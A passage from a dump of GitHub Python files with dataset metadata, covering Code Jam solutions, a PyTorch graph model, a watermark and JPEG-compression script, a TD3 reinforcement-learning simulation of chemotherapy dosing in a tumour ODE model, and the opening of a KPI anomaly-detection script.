('delta',pre, m,delta)\n pre=m\n if delta>0:\n eat+=delta\n #print ('eat',eat)\n return eat\ndef solve_2(dn, mlst):\n eat=0\n eat0=0\n rate = 0\n #print ('rate',rate)\n for i in range(1,len(mlst)):\n delta=mlst[i-1]-mlst[i]\n mrate = delta*1.0/10\n if delta>0:\n eat0+=delta\n rate =max(rate,mrate)\n #print('rate',rate,mrate)\n for m in mlst[:-1]:\n if m-10*rate>0:\n eat+=10*rate\n else:\n eat+=m\n #print(m,rate*10,eat)\n return [ eat0,int(eat)]\ninfile = 'A-small-attempt3.in'\ninfile = 'A-large.in'\n#infile = 'Atest.txt'\noutfile = infile[:infile.find('.')]+'_out1.in'\noutput = open(outfile,'w')\nwith open(infile, 'r') as inf:\n n = int(inf.readline().replace('\\n',''))\n for i in range(1,n+1):\n for j in range(2):\n tmp = inf.readline().replace('\\n','')\n #output1.write('new case:'+'\\t')\n if j ==0:\n dn = int(tmp)\n #output1.write('\\t'.join(tmp.split(' '))+'\\t')\n else:\n mlst = [int(x) for x in tmp.split(' ')]\n #output1.write('\\t'.join(tmp.split(' '))+'\\n')\n #print('new case',i, dn , mlst)\n #ret = solve_1(dn, mlst)\n ret,ret1 = solve_2(dn,mlst)\n #print('result',ret,ret1)\n tret = 'Case #%s: %s %s'%(str(i),str(ret),str(ret1))\n output.write(tret+'\\n')","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_159/674.py","file_name":"674.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33890647221","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass HMM(nn.Module):\n\n def __init__(self,\n v1_dim,\n v2_dim,\n v1_sample_num,\n v2_sample_num,\n hidden_dim,\n v1_edge_attr_dim,\n v2_edge_attr_dim,\n edge_layer_num,\n edge_head_num,\n edge_type_num,\n edge_emb_dim,\n label_num):\n super(HMM, self).__init__()\n self.v1_dim = v1_dim\n self.v2_dim = v2_dim\n self.label_num = label_num\n self.hidden_dim = hidden_dim\n self.edge_emb = nn.Embedding(edge_type_num, edge_emb_dim)\n self.v1_map_layer = nn.Linear(v1_dim, hidden_dim)\n self.v2_map_layer = nn.Linear(v2_dim, hidden_dim)\n self.edge_layer_num = edge_layer_num\n self.edge_head_num = edge_head_num\n self.v1_edge_layers = nn.ModuleList()\n self.v2_edge_layers = nn.ModuleList()\n self.v1_edge_attr_dim = v1_edge_attr_dim\n self.v2_edge_attr_dim = v2_edge_attr_dim\n self.classify_layer = nn.Linear(hidden_dim*2, label_num)\n for i in range(edge_layer_num):\n self.v1_edge_layers.append(nn.Linear(edge_emb_dim+v1_edge_attr_dim,\n edge_head_num))\n self.v2_edge_layers.append(nn.Linear(edge_emb_dim+v2_edge_attr_dim,\n edge_head_num))\n self.drop = nn.Dropout(p=0.5)\n self.mm_layer = nn.Linear(hidden_dim*2, 1)\n\n # nodes: [batch_size, v1_dim]\n # v1nodes: [batch_size, v1_sample_num, v1_dim]\n # v2nodes: [batch_size, v2_sample_num, v2_dim]\n # v1adj: [batch_size, v1_sample_num+1, v1_sample_num+1]\n # v2adj: [batch_size, v2_sample_num+1, v2_sample_num+1]\n # v1edge_attr: [batch_size, v1_sample_num+1, v1_sample_num+1]\n # v2edge_attr: [batch_size, v2_sample_num+1, v2_sample_num+1]\n\n def forward(self,\n nodes,\n v1nodes,\n v2nodes,\n v1adj,\n v2adj,\n v1edge_attr,\n v2edge_attr):\n batch_size = nodes.shape[0]\n v1map = self.v1_map_layer(nodes)\n v1nodes = self.v1_map_layer(v1nodes)\n v2nodes = self.v2_map_layer(v2nodes)\n nodes = v1map.view((batch_size, 1, self.hidden_dim))\n v1nodes = v1nodes.view((batch_size, -1, self.hidden_dim))\n v1nodes = torch.cat([nodes, v1nodes], dim=1)\n v2nodes = torch.cat([nodes, v2nodes], dim=1)\n v1_num = v1nodes.shape[1]\n v2_num = v2nodes.shape[1]\n v1_dim = v1nodes.shape[2]\n v2_dim = v2nodes.shape[2]\n v1_edge_emb = self.edge_emb(v1adj)\n v2_edge_emb = self.edge_emb(v2adj)\n v1edge_attr = v1edge_attr.view(*v1edge_attr.shape, 1)\n v2edge_attr = v2edge_attr.view(*v2edge_attr.shape, 1)\n\n if self.v1_edge_attr_dim > 0:\n v1_edge_emb = torch.cat([v1_edge_emb, v1edge_attr], dim=3)\n if self.v2_edge_attr_dim > 0:\n v2_edge_emb = torch.cat([v2_edge_emb, v2edge_attr], dim=3)\n # v1nodes: [batch_size, v1_sample_num, emb_dim]\n # v1_edge_emb, v2_edge_emb:\n # [batch_size, v1_sample_num+1, v1_sample_num+1, edge_emb_dim]\n\n for i in range(self.edge_layer_num):\n v1_edge_w = self.v1_edge_layers[i](v1_edge_emb)\n v2_edge_w = self.v2_edge_layers[i](v2_edge_emb)\n # [batch_size, v1_num, v1_num, edge_head_num]\n v1_sim = torch.bmm(v1nodes, v1nodes.permute((0, 2, 1)))\n v2_sim = torch.bmm(v2nodes, v2nodes.permute((0, 2, 1)))\n # v1_sim: [batch_size, v1_num, v1_num]\n v1_alpha = (v1_sim.view(batch_size, v1_num, v1_num, 1)\n * v1_edge_w).permute(0, 3, 1, 2)\n v2_alpha = (v2_sim.view(batch_size, v2_num, v2_num, 1)\n * v2_edge_w).permute(0, 3, 1, 2)\n\n # v1_alpha: [batch_size, edge_head_num, v1_num, v1_num]\n v1_alpha = v1_alpha.reshape(\n batch_size*self.edge_head_num, v1_num, v1_num)\n v2_alpha = v2_alpha.reshape(\n batch_size*self.edge_head_num, v2_num, v2_num)\n v1_alpha = F.softmax(v1_alpha, dim=-1)\n v2_alpha = F.softmax(v2_alpha, dim=-1)\n\n v1nodes_ = v1nodes.view(\n 1, batch_size, v1_num, -1).expand(self.edge_head_num, -1, -1, -1)\n v2nodes_ = v2nodes.view(\n 1, batch_size, v2_num, -1).expand(self.edge_head_num, -1, -1, -1)\n v1nodes_ = v1nodes_.reshape((-1, v1_num, v1_dim))\n v2nodes_ = v2nodes_.reshape((-1, v2_num, v2_dim))\n\n v1nodes_ = torch.bmm(v1_alpha, v1nodes_).view(\n batch_size, self.edge_head_num, v1_num, v1_dim)\n v2nodes_ = torch.bmm(v2_alpha, v2nodes_).view(\n batch_size, self.edge_head_num, v2_num, v2_dim)\n\n v1nodes = torch.mean(v1nodes_, dim=1)\n v2nodes = torch.mean(v2nodes_, dim=1)\n v1emb = v1nodes.mean(dim=1)\n v2emb = v2nodes.mean(dim=1)\n nodes = nodes.view(batch_size, -1)\n\n v1emb = torch.cat([v1emb, nodes], dim=1).view((batch_size, 1, -1))\n v2emb = torch.cat([v2emb, nodes], dim=1).view((batch_size, 1, -1))\n nodes = torch.cat([nodes, nodes], dim=1).view((batch_size, 1, -1))\n v1v2n = torch.cat([v1emb, v2emb, nodes], dim=1)\n alpha = F.leaky_relu(self.mm_layer(v1v2n))\n alpha = F.softmax(alpha, dim=1)\n f2 = (v1v2n*alpha).mean(dim=1)\n cf2 = self.drop(f2)\n logits = self.classify_layer(cf2)\n return f2, logits\n\n\nif __name__ == \"__main__\":\n v1_dim = 16\n v2_dim = 32\n v1_sample_num = 32\n v2_sample_num = 37\n hidden_dim = 24\n v1_edge_attr_dim = 1\n v2_edge_attr_dim = 1\n edge_layer_num = 2\n edge_head_num = 3\n edge_emb_dim = 8\n edge_type_num = 10\n label_num = 5\n model = HMM(v1_dim=16,\n v2_dim=32,\n v1_sample_num=v1_sample_num,\n v2_sample_num=v2_sample_num,\n hidden_dim=hidden_dim,\n v1_edge_attr_dim=v1_edge_attr_dim,\n v2_edge_attr_dim=v2_edge_attr_dim,\n edge_layer_num=edge_layer_num,\n edge_head_num=edge_head_num,\n edge_emb_dim=edge_emb_dim,\n edge_type_num=edge_type_num, label_num=label_num\n )\n batch_size = 128\n nodes = torch.randn(batch_size, v1_dim)\n v1_nodes = torch.randn(batch_size, v1_sample_num, v1_dim)\n v2_nodes = torch.randn(batch_size, v2_sample_num, v2_dim)\n v1adj = torch.randint(0, edge_type_num, size=(\n batch_size, v1_sample_num+1, v1_sample_num+1))\n v2adj = torch.randint(0, edge_type_num, size=(\n batch_size, v2_sample_num+1, v2_sample_num+1))\n v1_edge_attr = torch.randn(\n batch_size, v1_sample_num+1, v1_sample_num+1)\n v2_edge_attr = torch.zeros(\n (batch_size, v2_sample_num+1, v2_sample_num+1))\n res = model(nodes, v1_nodes, v2_nodes, v1adj,\n v2adj, v1_edge_attr, v2_edge_attr)\n","repo_name":"njustkmg/TKDE21_HMM","sub_path":"HMM.py","file_name":"HMM.py","file_ext":"py","file_size_in_byte":7148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23548611351","text":"N = int(input())\r\nfor n in range(N):\r\n inp = input().split()\r\n S = inp[0]\r\n K = int(inp[1])\r\n S2 = [False] * (len(S) + 1)\r\n S2[0] = \"+\" != S[0]\r\n for i in range(1, len(S)):\r\n S2[i] = S[i-1] != S[i]\r\n S2[-1] = S[-1] != \"+\"\r\n flips = 0\r\n for i in range(len(S2) - K):\r\n if S2[i]:\r\n S2[i + K] = not S2[i + K]\r\n flips += 1\r\n resp = \"IMPOSSIBLE\" if any(S2[-K:]) else flips\r\n print(\"Case #{}: {}\".format(n+1, resp))\r\n \r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/57.py","file_name":"57.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18799244063","text":"import numpy as np\nimport cv2 \nimport math\nfrom PIL import Image\n\ndef extract(image):\n h,w,c = image.shape\n ext_img = np.uint8(np.zeros((h,w,c)))\n #取浮水印圖最後3bits並還原\n for i in range(h):\n for j in range(w):\n for k in range(c):\n ext_img[i,j,k] = (image[i,j,k]%8)*32\n return ext_img\n\n\ndef PSNR(ori_img,img,size_of_pixel):\n h,w,c = ori_img.shape\n MSE = 0.0\n for i in range(h):\n for j in range(w):\n for k in range(c):\n MSE += (ori_img[i,j,k]-img[i,j,k])**2\n MSE = MSE/(h*w*c)\n psnr = 10*math.log((size_of_pixel-1)**2/MSE,10)\n return psnr\n \nimg = cv2.imread('Q5_1_water.png')\n\n\nimg_com_10 = cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 10])[1]\nimg_com_50 = cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 50])[1]\nimg_com_100 = cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 100])[1]\n\nimg_decom_10 = cv2.imdecode(np.frombuffer(img_com_10, np.uint8), cv2.IMREAD_COLOR)\nimg_decom_50 = cv2.imdecode(np.frombuffer(img_com_50, np.uint8), cv2.IMREAD_COLOR)\nimg_decom_100 = cv2.imdecode(np.frombuffer(img_com_100, np.uint8), cv2.IMREAD_COLOR)\n\nori_img = cv2.imread(\"lena.bmp\")\n\n\npsnr_10 = PSNR(ori_img,img_decom_10,256)\npsnr_50 = PSNR(ori_img,img_decom_50,256)\npsnr_100 = PSNR(ori_img,img_decom_100,256)\n\nprint(\"PSNR_10: \",psnr_10)\nprint(\"PSNR_50: \",psnr_50)\nprint(\"PSNR_100: \",psnr_100)\n\nimg_ext_10 = extract(img_decom_10)\nimg_ext_50 = extract(img_decom_50)\nimg_ext_100 = extract(img_decom_100)\n\ncv2.imwrite('Q5_2_10.png',img_ext_10)\ncv2.imwrite('Q5_2_50.png',img_ext_50)\ncv2.imwrite('Q5_2_100.png',img_ext_100)\n","repo_name":"yang310667/Image_Processing","sub_path":"Compression_image/compression.py","file_name":"compression.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9008677026","text":"# In the name of God\r\nimport shutil\r\n\r\nimport matplotlib.pyplot as plt\r\nimport random\r\nimport numpy as np\r\nfrom TD3 import TD3, ReplayBuffer\r\nimport torch\r\nimport os\r\nimport math\r\nfrom scipy.integrate import odeint\r\n\r\n\r\n\r\nlog = False\r\nattempt=3\r\nseed = 0\r\nmax_mem_size = 1e6\r\neval_freq = 20 # 5e3 # How often the evaluation step is performed (after how many timesteps)\r\nevaluations = []\r\nsave_models = True # Boolean checker whether or not to save the pre-trained model\r\n# expl_noise = 0.1 # Exploration noise - STD value of exploration Gaussian noise\r\nbatch_size = 500#500 # Size of the batch\r\ndiscount = 0.7 # gamma... Discount factor gamma, used in the calculation of the total discounted reward\r\ntau = 0.005 # Target network update rate\r\npolicy_noise = 0.2 # STD of Gaussian noise added to the actions for the exploration purposes\r\nnoise_clip = 0.5 # Maximum value of the Gaussian noise added to the actions (policy)\r\npolicy_freq = 2 # Number of iterations to wait before the policy network (Actor model) is updated\r\naction_dim = 1\r\nstate_dim = 4 # ? or 4 => change experineces in replay mem\r\nmax_action = 5 # max value of actions. max medicine dosage\r\n\r\nepisodes = 30 # 1000\r\nmax_steps = 2000 # 6001#5e5 . max steps in each episode, after which we terminate the episode if not reached to goal\r\nmax_train_steps = 50;\r\nwarm_up_episodes = 4 # The early episodes. in warmup, don't decay epsilon. so that we select actions randomly.\r\n#######odeint\r\na1=0.2;\r\na2=0.3;\r\na3=0.1;\r\nb1=1;\r\nb2=1;\r\nc1=1;\r\nc2=0.5;\r\nc3=1;\r\nc4=1;\r\nd1=0.2;\r\nd2=1;\r\nr1=1.5;\r\nr2=1;\r\ns=0.33;\r\nalfa=0.3;\r\nro=0.01;\r\nfolder_path1 = './results_%s_%s_%s_%s_%s_%s_%s_%s_%s_%s_%s' % (str(attempt),str(seed), str(batch_size),str(discount),str(tau),str(policy_freq),str(max_action),str(episodes),str(max_steps),str(max_train_steps),str(warm_up_episodes))\r\nfolder_path2 = './pytorch_models_%s_%s_%s_%s_%s_%s_%s_%s_%s_%s_%s' % (str(attempt),str(seed), str(batch_size),str(discount),str(tau),str(policy_freq),str(max_action),str(episodes),str(max_steps),str(max_train_steps),str(warm_up_episodes))\r\ntry:\r\n shutil.rmtree(folder_path1)\r\n shutil.rmtree(folder_path2)\r\nexcept:\r\n print('Folder does not exist')\r\nenv_name = 'DRL_tumor'\r\n\r\nfile_name = \"%s_%s_%s\" % (\"TD3\", env_name, str(seed))\r\n# We create a folder inside which will be saved the trained models\r\nif not os.path.exists(folder_path1):\r\n os.makedirs(folder_path1)\r\nif save_models and not os.path.exists(folder_path2):\r\n os.makedirs(folder_path2)\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\npolicy = TD3(state_dim=state_dim, action_dim=action_dim, max_action=max_action, device=device)\r\nreplay_buffer = ReplayBuffer(max_size=max_mem_size)\r\n\r\nclass SimulinkPlant:\r\n\r\n def __init__(self, modelName='Learning'):\r\n np.random.seed(seed)\r\n random.seed(seed)\r\n self.modelName = modelName # The name of the Simulink Model (To be placed in the same directory as the Python Code)\r\n\r\n\r\n self.goalstate = 1e-15 # x2. == N um of tomur cells be zero.\r\n self.inference_zeroActionState = 0.1\r\n self.t_s = 0.1\r\n self.epsilon_min = 0.005\r\n self.epsilon_decay = 0.95\r\n self.episodes = episodes # 1000\r\n self.max_steps = max_steps # 6001#5e5 . max steps in each episode, after which we terminate the episode if not reached to goal\r\n self.max_train_steps = max_train_steps;\r\n self.warm_up_episodes = warm_up_episodes # The early episodes. in warmup, don't decay epsilon. so that we select actions randomly.\r\n\r\n #self.states = [0, 0.0063, 0.0125, 0.025, 0.035, 0.05, 0.1, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5,\r\n # 0.55, 0.6, 0.65, 0.7, 0.8, 0.9]\r\n\r\n def fillMem(self):\r\n print('in mem fill...')\r\n # it is continos -> prob. of producing 0 -> reward = 1 is 0. => we conduct it by a sample in mem\r\n obs = self.reset();#np.array([0.8082931864627472,0.0063,0.7984650790880916,2.8234895352397396])\r\n #nextStates, reward, done = self.step(obs, 5)\r\n nextStates, state_values, reward, done = self.step(obs, 5)\r\n replay_buffer.add(transition=(obs, nextStates, 5, reward, done))\r\n\r\n for i in range(2 * batch_size):\r\n obs = np.random.random(state_dim)#4 elements. for each of 4 states\r\n action = np.random.random() * max_action\r\n\r\n #nextStates, reward, done = self.step(obs, action)\r\n nextStates, state_values, reward, done = self.step(obs, action)\r\n replay_buffer.add(transition=(obs, nextStates, action, reward, done))\r\n\r\n def reset(self):\r\n return np.array([0.6, 0.5, 1, 0]) # state1, state, state3, state4\r\n\r\n\r\n def rewardFunc2(self, state, nstate):\r\n #if nstate <= self.goalstate:\r\n # return 0\r\n if nstate < state:\r\n result = -np.log2(1-(state-nstate)/state)\r\n else:\r\n result = 0\r\n return result\r\n\r\n def rewardFuncOld(self, state, nstate):\r\n if nstate <= self.goalstate:\r\n return 0\r\n if nstate < state:\r\n result = -np.log2(nstate)\r\n else:\r\n result = 0\r\n return result\r\n\r\n #######odeint\r\n def pend(self, obs, t, action):\r\n x1, x2, x3, x4 = obs\r\n u = action\r\n dx1 = r2 * x1 * (1 - b2 * x1) - c4 * x1 * x2 - a3 * x1 * x4;\r\n dx2 = r1 * x2 * (1 - b1 * x2) - c2 * x3 * x2 - c3 * x2 * x1 - a2 * x2 * x4;\r\n dx3 = s + ro * x3 * x2 / (alfa + x2) - c1 * x3 * x2 - d1 * x3 - a1 * x3 * x4;\r\n dx4 = -d2 * x4 + u;\r\n dydt = [dx1, dx2, dx3, dx4]\r\n return dydt\r\n\r\n #######odeint\r\n def step(self, obs, action=0):\r\n if log: print('in step...')\r\n t = np.linspace(0, 0.1, 11)\r\n sol = odeint(self.pend, obs, t, args=(action,))\r\n sol = np.transpose(sol)\r\n x1 = sol[0]\r\n x2 = sol[1]\r\n x3 = sol[2]\r\n x4 = sol[3]\r\n nstate = x2[-1]\r\n nstate1 = x1[-1]\r\n nstate3 = x3[-1]\r\n nstate4 = x4[-1]\r\n done = 0\r\n if nstate <= self.goalstate:\r\n done = 1\r\n reward = self.rewardFunc2(obs[1], nstate) # it can be replaced with the reward function\r\n #return np.array([nstate1, nstate, nstate3, nstate4]), reward, done\r\n return np.array([nstate1, nstate, nstate3, nstate4]), np.array([x1, x2, x3, x4]), reward, done\r\n\r\n # We make a function that evaluates the policy by calculating its average reward over 10 episodes\r\n def evaluate_policy(self, policy, eval_episodes=4):\r\n if log: print('in eval...')\r\n avg_reward = 0.\r\n for _ in range(eval_episodes):\r\n obs = self.reset()#np.array([0.6, 0.5, 1, 0])\r\n done = 0\r\n steps = 0\r\n while done == 0 and steps<400:\r\n steps+=1\r\n if log: print('in eval...', obs)\r\n action = policy.select_action(obs, epsilon=0)\r\n #nextStates, reward, done = self.step(obs, action)\r\n nextStates, state_values, reward, done = self.step(obs, action)\r\n obs = nextStates\r\n avg_reward += reward\r\n avg_reward /= eval_episodes\r\n print(\"---------------------------------------\")\r\n print(\"Average Reward over the Evaluation Step: %f\" % (avg_reward))\r\n return avg_reward\r\n\r\n\r\n def simulate(self):\r\n\r\n #epsilon = 0.3\r\n epsilon = 1\r\n\r\n self.fillMem() # first add some exprience to replay buffer\r\n print('after mem fill...\\ninitial cond...')\r\n\r\n obs = self.reset() # reset states\r\n\r\n for episode in range(self.episodes):\r\n\r\n print('\\n\\nEpisode {}, epsilon {}'.format( episode, epsilon))\r\n steps = 0\r\n done = 0\r\n\r\n # obs = np.random.random(size=4)\r\n obs = self.reset()#np.array([0.6, 0.5, 1, 0])\r\n # obs[1] = np.random.random()\r\n # obs[1] = self.states[ episode%len(self.states) ]\r\n x11, x22, x33, x44, rewardArr, actionArr = [], [], [], [], [], []\r\n\r\n while done == 0 and steps < self.max_steps: # not reached to final state (num tomor = 0) and max_steps\r\n\r\n if log: print('befor sel', obs)\r\n action = policy.select_action(obs, epsilon)\r\n\r\n #newObs, reward, done = self.step(obs, action)\r\n newObs, state_values, reward, done= self.step(obs, action)\r\n if done == 1:\r\n print('akhjooon... goal...')\r\n replay_buffer.add(transition=(obs, newObs, action, reward, done))\r\n if (episodeself.warm_up_episodes and steps%50 ==0):\r\n print('steps {}, state_x2 {}, action {}, new_state_x2 {}, reward {} , done {}'.format(steps, obs[1], action, newObs[1], reward, done))\r\n obs = newObs\r\n for abc in state_values[0]:\r\n x11.append(abc)\r\n # x11+=state_values[0].tolist()\r\n for abc in state_values[1]:\r\n x22.append(abc)\r\n for abc in state_values[2]:\r\n x33.append(abc)\r\n for abc in state_values[3]:\r\n x44.append(abc)\r\n rewardArr.append(reward)\r\n actionArr.append(action)\r\n steps = steps + 1\r\n dat = np.array([x11, x22, x33, x44])\r\n dat = dat.T\r\n np.savetxt(folder_path1+'/episode_states' + str(episode) + '.txt', dat, delimiter=',', fmt='%1.5f')\r\n dat = np.array([actionArr, rewardArr])\r\n dat = dat.T\r\n np.savetxt(folder_path1+'/episode_action' + str(episode) + '.txt', dat, delimiter=',', fmt='%1.5f')\r\n # decrease prob of random action until epsilon_min\r\n if episode > self.warm_up_episodes:\r\n epsilon = epsilon * self.epsilon_decay\r\n if epsilon < self.epsilon_min:\r\n epsilon = self.epsilon_min\r\n\r\n\r\n if len(replay_buffer.storage)>batch_size:\r\n policy.train(replay_buffer, self.max_train_steps, batch_size, discount, tau, policy_noise, noise_clip,\r\n policy_freq) # at the end of each episode, train the model\r\n #policy.train(replay_buffer, self.max_steps, batch_size, discount, tau, policy_noise, noise_clip,\r\n # policy_freq) # at the end of each episode, train the model\r\n #if epsilon<0.7: #train more\r\n # for i in range(10):\r\n # policy.train(replay_buffer, self.max_steps, batch_size, discount, tau, policy_noise, noise_clip,\r\n # policy_freq)\r\n #if epsilon<0.2: #train more...\r\n # 22 times (totally) ... max_steps/batch_size = 20... max steps new eprience are added to mem in each episode\r\n # for i in range(10):\r\n # policy.train(replay_buffer, self.max_steps, batch_size, discount, tau, policy_noise, noise_clip,\r\n # policy_freq)\r\n\r\n\r\n if episode % eval_freq == 0:\r\n # evaluations.append(self.evaluate_policy(policy))\r\n if log: print('policy save: ')\r\n policy.save(file_name, directory=folder_path2)\r\n if log: print('end...\\nmem save')\r\n np.save(\"./\"+folder_path1+\"/%s\" % (file_name), replay_buffer)\r\n if log: print('end...')\r\n\r\n def inference(self):\r\n policy.load(file_name, folder_path2)\r\n replay_buffer.storage = np.load(\"./\"+folder_path1+\"/TD3_DRL_tumor_0.npy\", allow_pickle=True)\r\n print('mem fill len: ', replay_buffer.storage)\r\n\r\n print('in inference...')\r\n obs = self.reset()\r\n # obs = np.array([0.58808, 0.38989, 0.66909, 0.04703])\r\n steps = 0\r\n x11, x22, x33, x44 = [], [], [], []\r\n done = 0\r\n dosage = []\r\n\r\n # x11.append(obs[0])\r\n # x22.append(obs[1])\r\n # x33.append(obs[2])\r\n # x44.append(obs[3])\r\n # dosage.append(0)\r\n\r\n while done == 0 and steps < self.max_steps:\r\n if obs[1] > self.inference_zeroActionState:\r\n action = policy.select_action(obs, epsilon=0)\r\n else:\r\n action = 0\r\n dosage.append(action)\r\n\r\n obs, state_values, reward, done = self.step(obs, action)\r\n print('steps {}, state {}, action {}, reward {} , done {}'.format(steps, obs, action, reward, done))\r\n\r\n # x11.append(obs[0])\r\n # x22.append(obs[1])\r\n # x33.append(obs[2])\r\n # x44.append(obs[3])\r\n # x11.append(state_values[0])\r\n for abc in state_values[0]:\r\n x11.append(abc)\r\n # x11+=state_values[0].tolist()\r\n for abc in state_values[1]:\r\n x22.append(abc)\r\n for abc in state_values[2]:\r\n x33.append(abc)\r\n for abc in state_values[3]:\r\n x44.append(abc)\r\n\r\n steps = steps + 1\r\n dat = np.array([x11, x22, x33, x44])\r\n dat = dat.T\r\n np.savetxt('./'+folder_path1+'/graphs_states.txt', dat, delimiter=',', fmt='%1.5f')\r\n dat = np.array([dosage])\r\n dat = dat.T\r\n np.savetxt('./'+folder_path1+'/graphs_dosage.txt', dat, delimiter=',', fmt='%1.5f')\r\n\r\n fig, axs = plt.subplots(5)\r\n\r\n axs[0].plot(x11, 'b', label='x1')\r\n axs[1].plot(x22, 'b', label='x2')\r\n axs[2].plot(x33, 'b', label='x3')\r\n axs[3].plot(x44, 'b', label='x4')\r\n axs[4].plot(dosage, 'b', label='u')\r\n # plt.legend(loc='center left', bbox_to_anchor=(1, 0.5), title=\"Topics\", fontsize='large', labelspacing=0.6,\r\n # fancybox=True)\r\n # plt.title('num of different cells in time')\r\n plt.show()\r\n # plt.plot(dosage)\r\n # plt.title('dosage')\r\n # plt.show()\r\n\r\nSimul = SimulinkPlant(modelName=\"Learning\")\r\n\r\n#policy.load(file_name, \"./pytorch_models\")\r\n#replay_buffer.storage = np.load(\"./results/TD3_DRL_tumor_0.npy\", allow_pickle=True)\r\n#print('mem fill len: ', replay_buffer.storage)\r\n\r\nSimul.simulate()\r\n#Simul.inference()\r\n","repo_name":"CISLAB-SUT/DeepRLChemoDrugControl","sub_path":"python_sim_DRL2_learning.py","file_name":"python_sim_DRL2_learning.py","file_ext":"py","file_size_in_byte":14385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23542550781","text":"import sys\n\n# Open file for processing\nfilename = sys.argv[1]\ninputFile = open(filename, 'r')\nlines = [l.rstrip('\\n') for l in inputFile]\nlinesIter = iter(lines)\nnCases = int(linesIter.next())\n\n\n# Process each case\nfor iCase in range(1,nCases+1):\n\n # Solve problem\n inString = linesIter.next()\n vals = inString.split(\" \")\n strArr = vals[0].strip()\n flipSize = int(vals[1])\n\n arr = [x == '+' for x in strArr]\n\n flipCount = 0\n for i in range(len(arr) - flipSize + 1):\n\n if not arr[i]:\n flipCount += 1\n for j in range(i, i+flipSize):\n arr[j] = not arr[j]\n\n \n allGood = True\n for x in arr:\n if not x:\n allGood = False\n\n\n if allGood:\n print(\"Case #{}: {}\".format(iCase, flipCount))\n else:\n print(\"Case #{}: {}\".format(iCase, \"IMPOSSIBLE\"))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/214.py","file_name":"214.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71355159234","text":"from sample.scripts.transfer.utils import run_time\nimport torch\nimport pandas as pd\nfrom anomalytransfer.transfer.data import KPI\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nimport logging\nimport anomalytransfer as at\nimport numpy as np\nfrom glob import glob\nfrom typing import Sequence, Tuple, Dict, Optional, cast\nnp.seterr(divide='ignore', invalid='ignore')\n\n\ndef _ignore_missing(series_list: Sequence, missing: np.ndarray) -> Tuple[np.ndarray, ...]:\n ret = []\n for series in series_list:\n series = np.copy(series)\n ret.append(series[missing != 1])\n return tuple(ret)\n\n\ndef get_test_results(\n timestamps: np.ndarray,\n labels: np.ndarray,\n scores: np.ndarray,\n missing: np.ndarray,\n values: np.ndarray,\n window_size: int = 120,\n **kwargs) -> Dict:\n timestamps = timestamps[window_size - 1:]\n labels = labels[window_size - 1:]\n scores = scores[window_size - 1:]\n missing = missing[window_size - 1:]\n values = values[window_size - 1:]\n adjusted_timestamps, adjusted_labels, adjusted_scores, adjusted_values = _ignore_missing(\n [timestamps, labels, scores, values], missing=missing)\n\n return {\n \"timestamp\": adjusted_timestamps,\n \"scores\": adjusted_scores,\n \"labels\": adjusted_labels,\n \"values\": adjusted_values\n }\n\n\ndef main(TH: int):\n raw_csvs = glob(os.path.join(INPUT, \"*.csv\"))\n assert len(raw_csvs) > 0\n\n models = glob(os.path.join(MODEL_PATH, str(TH), \"cluster-*\"))\n assert len(models) > 0\n\n time_map = {}\n for raw_csv in raw_csvs:\n print(f\"The KPI: {raw_csv}\")\n raw_kpi_name = os.path.splitext(os.path.basename(raw_csv))[0]\n time_map[raw_kpi_name] = 0\n raw_kpi = at.utils.load_kpi(raw_csv)\n raw_kpi, _, _ = raw_kpi.standardize()\n raw_kpi.complete_timestamp()\n\n total_timestamps = []\n total_scores = []\n total_labels = []\n total_values = []\n\n # get daily KPI\n train_week_day_map, test_week_day_map, test_kpi = raw_kpi.split_days(days=7)\n\n # get cluster map\n cluster_map = {} # weekday -> cluster_name\n for cluster in os.listdir(DAILY_OUTPUT):\n data_path = os.path.join(DAILY_OUTPUT, cluster, \"data\")\n raw_csv_daily = glob(os.path.join(\n data_path, f\"{raw_kpi_name}*.csv\"))\n raw_csv_daily = [int(os.path.splitext(os.path.basename(csv))[\n 0][-1]) for csv in raw_csv_daily]\n for daily in raw_csv_daily:\n assert daily not in cluster_map\n cluster_map[daily] = cluster\n\n # fine-tune with train_kpi\n for weekday, kpi_seq in train_week_day_map.items():\n dst_cluster_name = cluster_map[weekday]\n cluster_model_path = os.path.join(MODEL_PATH, str(TH), dst_cluster_name)\n model = at.transfer.models.AnomalyDetector()\n if os.path.exists(os.path.join(cluster_model_path, \"finetune\")):\n model.load(cluster_model_path, \"finetune\")\n else:\n model.load(cluster_model_path, \"base\")\n\n for kpi in kpi_seq:\n with run_time() as t:\n model.fit(kpi, epochs=DATA_EPOCHS, verbose=1)\n time_map[raw_kpi_name] += t.get_time()\n if len(kpi_seq) > 0:\n model.save(cluster_model_path, \"finetune\")\n\n # test\n for weekday, kpi_seq in test_week_day_map.items():\n dst_cluster_name = cluster_map[weekday]\n cluster_model_path = os.path.join(MODEL_PATH, str(TH), dst_cluster_name)\n assert os.path.exists(os.path.join(\n cluster_model_path, \"finetune\")), f\"the train stage of {dst_cluster_name} is missed...\"\n\n model = at.transfer.models.AnomalyDetector()\n model.load(cluster_model_path, \"finetune\")\n for kpi 